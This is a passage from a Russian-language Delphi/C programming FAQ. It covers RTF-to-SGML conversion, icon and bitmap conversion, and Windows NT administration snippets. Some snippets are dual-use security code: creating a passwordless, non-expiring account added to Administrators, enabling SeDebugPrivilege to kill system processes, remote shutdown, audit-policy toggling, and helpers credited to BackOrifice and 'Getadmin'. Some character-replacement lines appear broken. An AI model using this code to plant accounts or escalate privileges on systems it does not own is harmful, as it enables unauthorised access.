text := stringreplaceall (text,'&','&');
result := text;
End;

function rtf2sgml (text : string) : string;
{Funktion for att konvertera en RTF-rad till SGML-text.}
var
temptext : string;
start : integer;
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'\'+chr(39)+'c6','æ');
text := stringreplaceall (text,'\'+chr(39)+'e6','&Aelig;');
text := stringreplaceall (text,'\'+chr(39)+'e5','å');
text := stringreplaceall (text,'\'+chr(39)+'c5','Å');
text := stringreplaceall (text,'\'+chr(39)+'e4','ä');
text := stringreplaceall (text,'\'+chr(39)+'c4','Ä');
text := stringreplaceall (text,'\'+chr(39)+'e1','á');
text := stringreplaceall (text,'\'+chr(39)+'c1','Á');
text := stringreplaceall (text,'\'+chr(39)+'e0','à');
text := stringreplaceall (text,'\'+chr(39)+'c0','À');
text := stringreplaceall (text,'\'+chr(39)+'c2','Â');
text := stringreplaceall (text,'\'+chr(39)+'e2','â');
text := stringreplaceall (text,'\'+chr(39)+'e3','ã');
text := stringreplaceall (text,'\'+chr(39)+'c3','Ã');
text := stringreplaceall (text,'\'+chr(39)+'e7','ç');
text := stringreplaceall (text,'\'+chr(39)+'c7','Ç');
text := stringreplaceall (text,'\'+chr(39)+'e9','é');
text := stringreplaceall (text,'\'+chr(39)+'c9','É');
text := stringreplaceall (text,'\'+chr(39)+'e8','è');
text := stringreplaceall (text,'\'+chr(39)+'c8','È');
text := stringreplaceall (text,'\'+chr(39)+'ea','ê');
text := stringreplaceall (text,'\'+chr(39)+'ca','Ê');
text := stringreplaceall (text,'\'+chr(39)+'eb','ë');
text := stringreplaceall (text,'\'+chr(39)+'cb','Ë');
text := stringreplaceall (text,'\'+chr(39)+'ee','î');
text := stringreplaceall (text,'\'+chr(39)+'ce','Î');
text := stringreplaceall (text,'\'+chr(39)+'ed','í');
text := stringreplaceall (text,'\'+chr(39)+'cd','Í');
text := stringreplaceall (text,'\'+chr(39)+'ec','ì');
text := stringreplaceall (text,'\'+chr(39)+'cc','Ì');
text := stringreplaceall (text,'\'+chr(39)+'ef','ï');
text := stringreplaceall (text,'\'+chr(39)+'cf','Ï');
text := stringreplaceall (text,'\'+chr(39)+'f1','ñ');
text := stringreplaceall (text,'\'+chr(39)+'d1','Ñ');
text := stringreplaceall (text,'\'+chr(39)+'f3','ó');
text := stringreplaceall (text,'\'+chr(39)+'d3','Ó');
text := stringreplaceall (text,'\'+chr(39)+'f2','ò');
text := stringreplaceall (text,'\'+chr(39)+'d2','Ò');
text := stringreplaceall (text,'\'+chr(39)+'d4','Ô');
text := stringreplaceall (text,'\'+chr(39)+'f4','ô');
text := stringreplaceall (text,'\'+chr(39)+'f5','õ');
text := stringreplaceall (text,'\'+chr(39)+'d5','Õ');
text := stringreplaceall (text,'\'+chr(39)+'f8','ø');
text := stringreplaceall (text,'\'+chr(39)+'d8','Ø');
text := stringreplaceall (text,'\'+chr(39)+'f6','ö');
text := stringreplaceall (text,'\'+chr(39)+'d6','Ö');
text := stringreplaceall (text,'\'+chr(39)+'fc','ü');
text := stringreplaceall (text,'\'+chr(39)+'dc','Ü');
text := stringreplaceall (text,'\'+chr(39)+'fa','ú');
text := stringreplaceall (text,'\'+chr(39)+'da','Ú');
text := stringreplaceall (text,'\'+chr(39)+'fb','û');
text := stringreplaceall (text,'\'+chr(39)+'db','Û');
text := stringreplaceall (text,'\'+chr(39)+'d9','Ù');
text := stringreplaceall (text,'\'+chr(39)+'f9','ù');
text := stringreplaceall (text,'\'+chr(39)+'fd','ý');
text := stringreplaceall (text,'\'+chr(39)+'dd','Ý');
text := stringreplaceall (text,'\'+chr(39)+'ff','ÿ');
text := stringreplaceall (text,'|',' ');
text := stringreplaceall (text,'\'+chr(39)+'a3','£');
text := stringreplaceall (text,'\}','#]#');
text := stringreplaceall (text,'\{','#[#');
if (beginswith (text, '{\rtf1\')) or (beginswith (text, '{\colortbl\')) then
begin
result := '';
exit;
end;
//text := stringreplaceall (text,'{\fonttbl',''); {Skall alltid tas bort}
//temptext := hamtastreng (text,'{\rtf1','{\f0');{Skall alltid tas bort}
//text := stringreplace (text,temptext,'');
//temptext := hamtastreng (text,'{\f0','{\f1');{Skall alltid tas bort}
//text := stringreplace (text,temptext,'');
//temptext := hamtastreng (text,'{\f1','{\f2');{Skall alltid tas bort}
//text := stringreplace (text,temptext,'');
//text := stringreplaceall (text,'{\f2\fswiss\fprq2 System;}}','');{Skall alltid tas bort}
//text := stringreplaceall (text,'{\colortbl\red0\green0\blue0;}','');{Skall alltid tas bort}
{I version 2.01 av Delphi finns inte \cf0 med i RTF-rutan. Tog darfor bort
det efter \fs16 och la istallet en egen tvatt av \cf0.}
//temptext := hamtastreng (text,'{\rtf1','\deflang');
//text := stringreplace (text,temptext,''); {Hamta och radera allt fran start till deflang}
text := stringreplaceall (text,'\cf0','');
temptext := hamtastreng (text,'\deflang','\pard');{Plocka fran deflang till pard for att fa }
text := stringreplace (text,temptext,'');{oavsett vilken lang det ar. Norska o svenska ar olika}
text := stringreplaceall (text,'\ltrpar','');
text := stringreplaceall (text,'\ql','');
text := stringreplaceall (text,'\ltrch','');
{Har skall vi plocka bort fs och flera olika siffror beroende pa vilka alternativ vi godkanner.}
//text := stringreplaceall (text,'\fs16','');{8 punkter}
//text := stringreplaceall (text,'\fs20','');{10 punkter}
{Nu stadar vi istallet bort alla tvasiffriga fontsize.}
while pos ('\fs',text) >0 do
begin
//application.processmessages;
start := pos ('\fs',text);
Delete(text,start,5);
end;
while pos ('\f',text) >0 do
begin
//application.processmessages;
start := pos ('\f',text);
Delete(text,start,3);
end;
text := stringreplaceall (text,'\pard\li200-200{\*\pn\pnlvlblt\pnf1\pnindent200{\pntxtb\'+chr(39)+'b7}}\plain ','</P><UL>');
text := stringreplaceall (text,'{\pntext\'+chr(39)+'b7\tab}','<LI>');
text := stringreplaceall (text, '\par <LI>','<LI>');
text := stringreplaceall (text, '\par <UL>','<UL>');
text := stringreplaceall (text,'\pard\plain ','<P>');
text := stringreplaceall (text,'\par \plain\b\ul ','</P><MELLIS>');
text := stringreplaceall (text,'\plain\b\ul ','</P><MELLIS>');
text := stringreplaceall (text,'\plain','</MELLIS>');
text := stringreplaceall (text,'\par }','</P>');
if (pos ('\par \tab ',text)>0) or (pos ('<P>\tab ',text)>0) then
begin
text := stringreplaceall (text,'\par \tab ','<TR><TD>');
text := stringreplaceall (text,'<P>\tab ','<TR><TD>');
text := stringreplaceall (text,'\tab ','</TD><TD>');
end
else
begin
text := stringreplaceall (text,'\tab ','');
end;
text := stringreplaceall (text,'\par ','</P><P>');
text := stringreplaceall (text,'#]#','}');
text := stringreplaceall (text,'#[#','{');
text := stringreplaceall (text,'\\','\');
if pos('<TD>',text)>0 then text := text+'</TD></TR>';
if pos('<LI>',text)>0 then text := text+'</LI>';
result := text;
end;

end.



Как перевести RTF в HTML?

Здесь процедура, которую я использую для конвертации содержимого RichEdit
в код SGML. Она не создает полноценный HTML-файл, но Вы можете расширить
функциональность, указал, какие RTF-коды Вы желаете конвертировать в
какие-либо HTML-тэги.

function rtf2sgml (text : string) : string;
{Funktion for att konvertera en RTF-rad till SGML-text.}
var
temptext : string;
start : integer;
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'\'+chr(39)+'e5','å');
text := stringreplaceall (text,'\'+chr(39)+'c5','Å');
text := stringreplaceall (text,'\'+chr(39)+'e4','ä');
text := stringreplaceall (text,'\'+chr(39)+'c4','Ä');
text := stringreplaceall (text,'\'+chr(39)+'f6','ö');
text := stringreplaceall (text,'\'+chr(39)+'d6','Ö');
text := stringreplaceall (text,'\'+chr(39)+'e9','é');
text := stringreplaceall (text,'\'+chr(39)+'c9','É');
text := stringreplaceall (text,'\'+chr(39)+'e1','á');
text := stringreplaceall (text,'\'+chr(39)+'c1','Á');
text := stringreplaceall (text,'\'+chr(39)+'e0','à');
text := stringreplaceall (text,'\'+chr(39)+'c0','À');
text := stringreplaceall (text,'\'+chr(39)+'f2','ò');
text := stringreplaceall (text,'\'+chr(39)+'d2','Ò');
text := stringreplaceall (text,'\'+chr(39)+'fc','ü');
text := stringreplaceall (text,'\'+chr(39)+'dc','Ü');
text := stringreplaceall (text,'\'+chr(39)+'a3','£');
text := stringreplaceall (text,'\}','#]#');
text := stringreplaceall (text,'\{','#[#');
text := stringreplaceall (text,'{\rtf1\ansi\deff0\deftab720','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\fonttbl',''); {Skall alltid tas bort}
text := stringreplaceall (text,'{\f0\fnil MS Sans Serif;}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\f1\fnil\fcharset2 Symbol;}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\f2\fswiss\fprq2 System;}}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\colortbl\red0\green0\blue0;}','');{Skall alltid tas bort}
{I version 2.01 av Delphi finns inte \cf0 med i RTF-rutan. Tog darfor bort
det efter \fs16 och la istallet en egen tvatt av \cf0.}
//temptext := hamtastreng (text,'{\rtf1','\deflang');
//text := stringreplace (text,temptext,''); {Hamta och radera allt fran start till deflang}
text := stringreplaceall (text,'\cf0','');
temptext := hamtastreng (text,'\deflang','\pard');{Plocka fran deflang till pard for att fa }
text := stringreplace (text,temptext,'');{oavsett vilken lang det ar. Norska o svenska ar olika}
{Har skall vi plocka bort fs och flera olika siffror beroende pa vilka alternativ vi godkanner.}
//text := stringreplaceall (text,'\fs16','');{8 punkter}
//text := stringreplaceall (text,'\fs20','');{10 punkter}
{Nu stadar vi istallet bort alla tvasiffriga fontsize.}
while pos ('\fs',text) >0 do
begin
application.processmessages;
start := pos ('\fs',text);
Delete(text,start,5);
end;
text := stringreplaceall (text,'\pard\plain\f0 ','<P>');
text := stringreplaceall (text,'\par \plain\f0\b\ul ','</P><MELLIS>');
text := stringreplaceall (text,'\plain\f0\b\ul ','</P><MELLIS>');
text := stringreplaceall (text,'\plain\f0','</MELLIS>');
text := stringreplaceall (text,'\par }','</P>');
text := stringreplaceall (text,'\par ','</P><P>');
text := stringreplaceall (text,'#]#','}');
text := stringreplaceall (text,'#[#','{');
text := stringreplaceall (text,'\\','\');
result := text;
end;

//This is cut directly from the middle of a fairly long save routine that calls the above function.
//I know I could use streams instead of going through a separate file but I have not had the time to change this

utfilnamn := mditted.exepath+stringreplace(stringreplace(extractfilename(pathname),'.TTT',''),'.ttt','') + 'ut.RTF';
brodtext.lines.savetofile (utfilnamn);
temptext := '';
assignfile(tempF,utfilnamn);
reset (tempF);
try
while not eof(tempF) do
begin
readln (tempF,temptext2);
temptext2 := stringreplaceall (temptext2,'\'+chr(39)+'b6','');
temptext2 := rtf2sgml (temptext2);
if temptext2 <>'' then temptext := temptext+temptext2;
application.processmessages;
end;
finally
closefile (tempF);
end;
deletefile (utfilnamn);
temptext := stringreplaceall (temptext,'</MELLIS> ','</MELLIS>');
temptext := stringreplaceall (temptext,'</P> ','</P>');
temptext := stringreplaceall (temptext,'</P>'+chr(0),'</P>');
temptext := stringreplaceall (temptext,'</MELLIS></P>','</MELLIS>');
temptext := stringreplaceall (temptext,'<P></P>','');
temptext := stringreplaceall (temptext,'</P><P></MELLIS>','</MELLIS><P>');
temptext := stringreplaceall (temptext,'</MELLIS>','<#MELLIS><P>');
temptext := stringreplaceall (temptext,'<#MELLIS>','</MELLIS>');
temptext := stringreplaceall (temptext,'<P><P>','<P>');
temptext := stringreplaceall (temptext,'<P> ','<P>');
temptext := stringreplaceall (temptext,'<P>-','<P>_');
temptext := stringreplaceall (temptext,'<P>_','<CITAT>_');
while pos('<CITAT>_',temptext)>0 do
begin
application.processmessages;
temptext2 := hamtastreng (temptext,'<CITAT>_','</P>');
temptext := stringreplace (temptext,temptext2+'</P>',temptext2+'</CITAT>');
temptext := stringreplace (temptext,'<CITAT>_','<CITAT>-');
end;
writeln (F,'<BRODTEXT>'+temptext+'</BRODTEXT>');



Как преобразовать ICO в BMP?

Попробуй:

var
Icon : TIcon;
Bitmap : TBitmap;
begin
Icon := TIcon.Create;
Bitmap := TBitmap.Create;
Icon.LoadFromFile('c:\picture.ico');
Bitmap.Width := Icon.Width;
Bitmap.Height := Icon.Height;
Bitmap.Canvas.Draw(0, 0, Icon );
Bitmap.SaveToFile('c:\picture.bmp');
Icon.Free;
Bitmap.Free;
end;



Как преобразовать BMP (32x32) в ICO?

Попробуй:

unit main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms,Dialogs,ExtCtrls, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Image1: TImage;
Image2: TImage;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var winDC, srcdc, destdc : HDC;
oldBitmap : HBitmap;
iinfo : TICONINFO;
begin
GetIconInfo(Image1.Picture.Icon.Handle, iinfo);

WinDC := getDC(handle);
srcDC := CreateCompatibleDC(WinDC);
destDC := CreateCompatibleDC(WinDC);
oldBitmap := SelectObject(destDC, iinfo.hbmColor);
oldBitmap := SelectObject(srcDC, iinfo.hbmMask);

BitBlt(destdc, 0, 0, Image1.picture.icon.width,
Image1.picture.icon.height,
srcdc, 0, 0, SRCPAINT);
Image2.picture.bitmap.handle := SelectObject(destDC, oldBitmap);
DeleteDC(destDC);
DeleteDC(srcDC);
DeleteDC(WinDC);

image2.Picture.Bitmap.savetofile(ExtractFilePath(Application.ExeName)
+ 'myfile.bmp');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
image1.picture.icon.loadfromfile('c:\myicon.ico');
end;

end.



Как узнать кто висит на моей (или не моей) машине

#define STRICT
#include <windows.h>
#include <lm.h>
#include <iostream.h>
#include <tchar.h>

void UserEnum()
{
BOOL keepGoing = TRUE ;
DWORD entriesRead, totalEntries ;
USER_INFO_2 * pInfo = NULL ;
DWORD resumeHandle = 0 ; // must be 0 to start with
char nameBuf[ UNLEN + 1 ] ; // constants defined in LMCONS.H
char commentBuf[ MAXCOMMENTSZ + 1 ] ;
WCHAR serverName[ 100 ] ;
lstrcpyW( serverName, L"\\\\PDC" ) ; //L"" ) ;
while ( keepGoing )
{
NET_API_STATUS ret = NetUserEnum(
serverName, //NULL,
2,
0, //FILTER_NORMAL_ACCOUNT,
(LPBYTE *)&pInfo, // Important: ADDRESS of POINTER
sizeof( USER_INFO_2 ) * 100, // requested buffer size; it may not
actually allocate this much
&entriesRead,
&totalEntries,
&resumeHandle ) ;

keepGoing = ( ret == ERROR_MORE_DATA ) ;

if ( ret == 0 || ret == ERROR_MORE_DATA )
{
DWORD i ;
for ( i = 0 ; i < entriesRead ; i++ )
{
// Note that strings in the INFO structures
// will ALWAYS be Unicode, regardless of
// your settings! Even though they're declared
// as LPTSTR, they're always LPWSTR.
// I'm compiling for non-Unicode, so I
// convert them to ANSI strings...
// Check for NULL pointers in the INFO structure
LPWSTR pName = (LPWSTR)pInfo[ i ].usri2_name ;
LPWSTR pComm = (LPWSTR)pInfo[ i ].usri2_comment ;
if ( pName == NULL )
{
lstrcpy( nameBuf, "(no name!)" ) ;
}
else if ( lstrlenW( pName ) == 0 )
{
lstrcpy( nameBuf, "(empty name!)" ) ;
}
else
{
WideCharToMultiByte( CP_ACP, 0,
pName, -1,
nameBuf, UNLEN,
NULL, NULL ) ;
}
if ( pComm == NULL )
{
lstrcpy( commentBuf, "(no comment!)" ) ;
}
else if ( lstrlenW( pComm ) == 0 )
{
lstrcpy( commentBuf, "(empty comment!)" ) ;
}
else
{
WideCharToMultiByte( CP_ACP, 0,
pComm, -1,
commentBuf, MAXCOMMENTSZ,
NULL, NULL ) ;
}
cout << nameBuf << ": " << commentBuf << endl ;
}
}
else
{
cout << "NetUserEnum error " << ret << endl ;
}

if ( pInfo )
{
NetApiBufferFree( pInfo ) ;
pInfo = NULL ;
}
}
}
//****************************************************************************/



Как создать юзера и дать ему права?

NET_API_STATUS UserAdd(LPSTR username)
{

// некоторые используемые функции описаны в других QA

USER_INFO_2 user_info;

char compname[256];
wchar_t wcompname[256];
DWORD parm_err=0;
LSA_HANDLE PolicyHandle;

LPTSTR lpszSystemInfo; // ptr. to system info. string
DWORD cchBuff = 256; // size of comp. or user name
TCHAR tchBuffer2[256]; // buffer for concat'd. str.
WCHAR wGroupNameAdd[20]=L"Administrators";
lpszSystemInfo = tchBuffer2;
ZeroMemory(&user_info,sizeof(user_info));

GetComputerName(lpszSystemInfo, &cchBuff);
strcpy(compname,"\\\\");
strcat(compname,lpszSystemInfo);

mbstowcs( wcompname, compname, strlen(compname)+1 );
mbstowcs(user_info.usri2_name,username, strlen(username)+1 );

//-------создаем юзера------------//

user_info.usri2_password = L"";
user_info.usri2_priv = USER_PRIV_USER;
user_info.usri2_flags =
UF_SCRIPT|UF_PASSWD_CANT_CHANGE|UF_DONT_EXPIRE_PASSWD|UF_NORMAL_ACCOUNT;
user_info.usri2_acct_expires=TIMEQ_FOREVER;

NetUserAdd(wcompname,// PDC name
2L, // level
(LPBYTE)&user_info, // input buffer
&parm_err ); // parameter in error

GetAccountSid(
NULL, // default lookup logic
username, // account to obtain SID
&pSid // buffer to allocate to contain resultant SID
);

NetLocalGroupAddMember(0,wGroupNameAdd,pSid);

//---------даем ему кое-какие права-----------//

OpenPolicy(
wcompname, // target machine
POLICY_ALL_ACCESS, //POLICY_CREATE_ACCOUNT | POLICY_LOOKUP_NAMES,
&PolicyHandle // resultant policy handle
);


SetPrivilegeOnAccount(
PolicyHandle, // policy handle
pSid, // SID to grant privilege
L"SeInteractiveLogonRight", // Unicode privilege
TRUE // enable the privilege
);

SetPrivilegeOnAccount(
PolicyHandle, // policy handle
pSid, // SID to grant privilege
L"SeNetworkLogonRight", // Unicode privilege
TRUE // enable the privilege
);


LsaClose(PolicyHandle);

return 0;
}



Как узнать ip адрес(а) машины (в текстовом виде)?

Кусок исходника от плугина к BackOrifice:

void MachineIP(char *result)
{
WSADATA WSAData;

WSAStartup(MAKEWORD(1,1), &WSAData);

char dot[6];
int iResult;
int i = 0;
u_long *ppIpNO;
u_long *pIpNO;
HOSTENT FAR *lphostent;
u_long ipHO;
unsigned char binIp[4];
int iterations = 0;

//Get local host name and crudely validate
char szHostName[100];
*result = 0;

iResult = gethostname(szHostName, sizeof(szHostName));
// printf("%d %s",iResult,szHostName);
if ((iResult != 0) || (lstrcmp(szHostName, "")==0))
return;

//Lok up this host info via supplied name
lphostent = gethostbyname(szHostName);
if (lphostent == NULL)
return;
//Retreive first entry (might have multiple connects)
do
{
iterations++;
ppIpNO = (u_long *)lphostent->h_addr_list;
if (ppIpNO+i == NULL)
return;
pIpNO = ((u_long *)*(ppIpNO+i));
if (pIpNO == NULL)
return;

//convert back to host order, since SOCKADDR_IN expects that
//MessageBox(NULL,"z","x",MB_OK);
ipHO = ntohl(*pIpNO);

binIp[0] = (BYTE)((ipHO &0xff000000) >> 24);
itoa(binIp[0], dot, 10);
strcat(result,dot);
binIp[1] = (BYTE)((ipHO &0x00ff0000) >> 16);
itoa(binIp[1], dot, 10);
strcat(result, "."); strcat(result, dot);
binIp[2] = (BYTE)((ipHO &0x0000ff00) >> 8);
itoa(binIp[2], dot, 10);
strcat(result, "."); strcat(result, dot);
binIp[3] = (BYTE)(ipHO &0x000000ff);
itoa(binIp[3], dot, 10);
strcat(result,"."); strcat(result, dot);
strcat(result,"\r\n");
i++;
} while ((pIpNO != NULL) &&(iterations < 6));
WSACleanup();
PostQuitMessage(0);
return;
}



Как запустить или закрыть скринсэйвер?

Starting
~~~~~~~~
The method for starting a screen saver is simple, but surprising. You post your
own window a message ! Post yourself the WM_SYSCOMMAND message with the
SC_SCREENSAVE parameter :

// Uses MFC CWnd::PostMessage
PostMessage (WM_SYSCOMMAND, SC_SCREENSAVE);


Stopping
~~~~~~~~
Stopping a screen saver is somewhat more complex. The Microsoft-documented way
of doing this is to look for the special screen-saver desktop, enumerate all
windows on that desktop, and close them, as follows:

hdesk = OpenDesktop(TEXT("Screen-saver"),
0,
FALSE,
DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS);
if (hdesk)
{
EnumDesktopWindows (hdesk, (WNDENUMPROC)KillScreenSaverFunc, 0);
CloseDesktop (hdesk);
}

BOOL CALLBACK KillScreenSaverFunc (HWND hwnd, LPARAM lParam)
{
PostMessage(hwnd, WM_CLOSE, 0, 0);
return TRUE;
}


However, I can't recommend this approach. I have found when using this code,
NT4 very occasionally seems to get confused and pass you back the normal
desktop handle, in which case you end up trying to close all the normal
application windows. Note, in MS' defence, that the code above for closing
32 bit savers is derived from a sample that is only marked as valid for
NT3.51 - there is no mention of NT4 in the sample. Unfortunately, there
is also nothing to indicate that it doesn't work properly.

I have subsequently performed some tests, and found that the stock screen
savers supplied with NT4 will in any case get a hit on the window class search
normally used for 16 bit savers ("WindowsScreenSaverClass"). I don't believe
for a moment that the OpenGL savers (for example) are 16 bit, so maybe MS are
supplying a saver window class that will give the necessary hit.
So anyway, you can use this route :

HWND hSaver = FindWindow ("WindowsScreenSaverClass", NULL);

if (hSaver)
PostMessage (hSaver, WM_CLOSE, 0, 0);


Yet another alternative is now available, which depends upon new functionality
in SystemParametersInfo. This should be even more general :

BOOL bSaver;
if (::SystemParametersInfo (SPI_GETSCREENSAVEACTIVE,0,&bSaver,0))
{
if (bSaver)
{
::PostMessage (::GetForegroundWindow(), WM_CLOSE, 0L, 0L);
}
}



Как выполнить shutdown для удалённого компьютера?

int main(int argc, char **argv)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

char *name=""; // address of name of computer to shut down
char *msg=""; //address of message to display in dialog box
DWORD time=0; // time to display dialog box
bool force=true; // force applications with unsaved changes flag
bool reboot=true; //reboot flag

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken);

if(!LookupPrivilegeValue(name, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid)){
printf ("SE_SHUTDOWN_NAME Privilege облом \n");
return 1 ;};

tkp.PrivilegeCount =1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

if(!LookupPrivilegeValue(name,
SE_REMOTE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid)){
printf("SE_REMOTE_SHUTDOWN_NAME Privilege облом \n");
return 2 ;};

tkp.PrivilegeCount =1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

if (InitiateSystemShutdown(name,msg,time,force,reboot))
printf("%s shutdown Ok\n",name);
else printf("Can't shutdown %s \n",name);

return 0;
}



Как терминировать процесс (в том числе системный)?

#include <windows.h>
#include <stdio.h>
#pragma hdrstop

// fkill forces a kill -- it will attempt to enable SeDebugPrivilege
// before opening its process handles, allowing it to kill processes
// running under builtin\system (LocalSystem, to the users out there).

int main( int argc, char *argv[] );
void getDebugPriv( void );

#define isBadHandle(h) ( (h) == NULL || (h) == INVALID_HANDLE_VALUE )
#define lenof(x) ( sizeof (x) / sizeof ((x)[0]) )

const int MAXPID = 1024;

int main( int argc, char *argv[] )
{
int pidCount, i, errors;
char *p;
HANDLE hProcess;
static DWORD pid[MAXPID];

// parse args, build PID list
errors = pidCount = 0;

for ( i = 1; i < argc; i ++ )
{
if ( pidCount == lenof( pid ) ) {
errors ++;
break;
}

pid[pidCount] = strtol( argv[i], &p, 0 );
if ( p == argv[i] || *p )
errors ++;
else
pidCount ++;
}

if ( errors || pidCount == 0 )
{
puts( "Usage: fkill pid [...]" );
puts( "fkill tries to kill the processes specified by the PIDs. If the" );
puts( "user has debug privileges, fkill is able to kill system processes." );
puts( "PIDs may be decimal, octal (starts with 0), or hex (starts with 0x)."
);
return MAXPID + 1;
}

// try to acquire SeDebugPrivilege
getDebugPriv(); //см. faq выше

errors = 0;
// for each PID:
for ( i = 0; i < pidCount; i ++ )
{
printf( "pid %lu: ", pid[i] );

// open process
hProcess = OpenProcess( PROCESS_TERMINATE, FALSE, pid[i] );
if ( isBadHandle( hProcess ) )
printf( "OpenProcess() failed, err = %lu\n", GetLastError() );
else
{
// kill process
if ( ! TerminateProcess( hProcess, (DWORD) -1 ) )
printf( "TerminateProcess() failed, err = %lu\n", GetLastError() );
else
puts( "killed." );

// close handle
CloseHandle( hProcess );
}
}

return 0;
}



Как включить/выключить аудит?

#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
#pragma hdrstop

// This code was kindly provided by Marc Esipovich, marc@mucom.co.il.
// The original filename was "isauditon.c".
// Modifications by felixk:
// IsAuditOn() now accepts a BOOL; if FALSE, the code will
// _not_ force the audit settings to ON.
// Changed return type to int, as it may return 0, 1, -1.
// Added a small main() to call IsAuditOn(FALSE).

/*

RETURNS: 1 if Auditing has been enabled, 0 if no action taken, -1 on error.

COMMENT: Automatically enables all audit policy events.

Values are, 0 for no log at all, 1 for success only, 2 for failure only,
3 for both success and failure.

typedef struct _POLICY_BUFFER {
DWORD IsAuditEnabled; // 1 = ON, 0 = OFF.
PVOID pPolicies; // pointer to the start policy struct.

DWORD restart_shutdown_and_system;
DWORD junk1;
DWORD logon_and_logoff;
DWORD junk2;
DWORD file_and_object_access;
DWORD junk3;
DWORD use_of_user_rights;
DWORD junk4;
DWORD process_tracking;
DWORD junk5;
DWORD security_policy_changes;
DWORD junk6;
DWORD user_and_group_management;
DWORD junk7;
} POLICY_BUFFER, *PPOLICY_BUFFER;
*/

int IsAuditOn( BOOL forceAuditOn )
{
int rc = 0;
POLICY_ACCOUNT_DOMAIN_INFO *ppadi = NULL;
SECURITY_QUALITY_OF_SERVICE sqos;
LSA_OBJECT_ATTRIBUTES lsaOA;
LSA_HANDLE polHandle;

NTSTATUS nts;


// fill the Quality Of Service struct.
sqos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
sqos.ImpersonationLevel = SecurityImpersonation;
sqos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
sqos.EffectiveOnly = FALSE;

// fill the Object Attributes struct.
lsaOA.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
lsaOA.RootDirectory = NULL;
lsaOA.ObjectName = NULL;
lsaOA.Attributes = 0;
lsaOA.SecurityDescriptor = NULL;
lsaOA.SecurityQualityOfService = &sqos;

nts = LsaOpenPolicy(
NULL, // NULL = current machine.
&lsaOA,
POLICY_VIEW_LOCAL_INFORMATION | GENERIC_READ | GENERIC_EXECUTE |
POLICY_ALL_ACCESS,
&polHandle);
if (nts != 0) return -1;


nts = LsaQueryInformationPolicy(
polHandle,
PolicyAuditEventsInformation,
&ppadi);
if (nts != 0) return -1;

if ( forceAuditOn )
{
// set policies
ppadi->DomainName.Buffer[0] = 3; // restart_shutdown_and_system
ppadi->DomainName.Buffer[2] = 3; // logon_and_logoff
ppadi->DomainName.Buffer[4] = 3; // file_and_object_access
ppadi->DomainName.Buffer[6] = 3; // use_of_user_rights
ppadi->DomainName.Buffer[8] = 3; // process_tracking
ppadi->DomainName.Buffer[10] = 3; // security_policy_changes
ppadi->DomainName.Buffer[12] = 3; // user_and_group_management

ppadi->DomainName.Length = 1;

nts = LsaSetInformationPolicy(
polHandle,
PolicyAuditEventsInformation,
ppadi);
if (nts != 0) return -1;
rc = 1;
}

LsaFreeMemory(polHandle);

return rc;
}


int main( void )
{
int rc;

rc = IsAuditOn( FALSE );

if ( rc == 1 )
puts( "Auditing has been enabled." );
else if ( rc == 0 )
puts( "The audit state is unchanged." );
else
puts( "Oops!" );

return 0;
}



Как взять себе привилегию?

Hапример берем привилегию отладки программ:

void getDebugPriv( void )
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;

if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
return;

if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
{
CloseHandle( hToken );
return;
}

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL );

CloseHandle( hToken );
}



Как дать (забрать) привилегии?

См.ниже: (c)"Getadmin"

#include <ntsecapi.h>
#include <lmaccess.h>


NTSTATUS
SetPrivilegeOnAccount(
LSA_HANDLE PolicyHandle, // open policy handle
PSID AccountSid, // SID to grant privilege to
LPWSTR PrivilegeName, // privilege to grant (Unicode)
BOOL bEnable // enable or disable
)
{
LSA_UNICODE_STRING PrivilegeString;

//
// Create a LSA_UNICODE_STRING for the privilege name.
//
InitLsaString(&PrivilegeString, PrivilegeName);//см.ниже

//
// grant or revoke the privilege, accordingly
//
if(bEnable) {
return LsaAddAccountRights(
PolicyHandle, // open policy handle
AccountSid, // target SID
&PrivilegeString, // privileges
1 // privilege count
);
}
else {
return LsaRemoveAccountRights(
PolicyHandle, // open policy handle
AccountSid, // target SID
FALSE, // do not disable all rights
&PrivilegeString, // privileges
1 // privilege count
);
}
}



А как для вышеприведенного фрагмента получить хэндл полиси???

Getadmin sources...

#include <ntsecapi.h>
#include <lmaccess.h>

void
InitLsaString(
PLSA_UNICODE_STRING LsaString,
LPWSTR String
)
{
DWORD StringLength;

if (String == NULL) {
LsaString->Buffer = NULL;
LsaString->Length = 0;
LsaString->MaximumLength = 0;
return;
}

StringLength = wcslen(String);
LsaString->Buffer = String;
